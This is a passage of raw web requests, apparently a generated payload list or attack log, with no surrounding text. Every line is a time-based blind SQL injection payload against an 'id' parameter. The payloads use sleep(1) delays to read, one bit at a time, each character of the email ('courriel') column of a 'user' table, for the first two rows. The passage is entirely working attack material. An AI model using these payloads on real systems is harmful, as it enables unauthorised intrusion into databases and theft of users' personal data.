sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 15,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 16,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 17,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 0), 18,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) 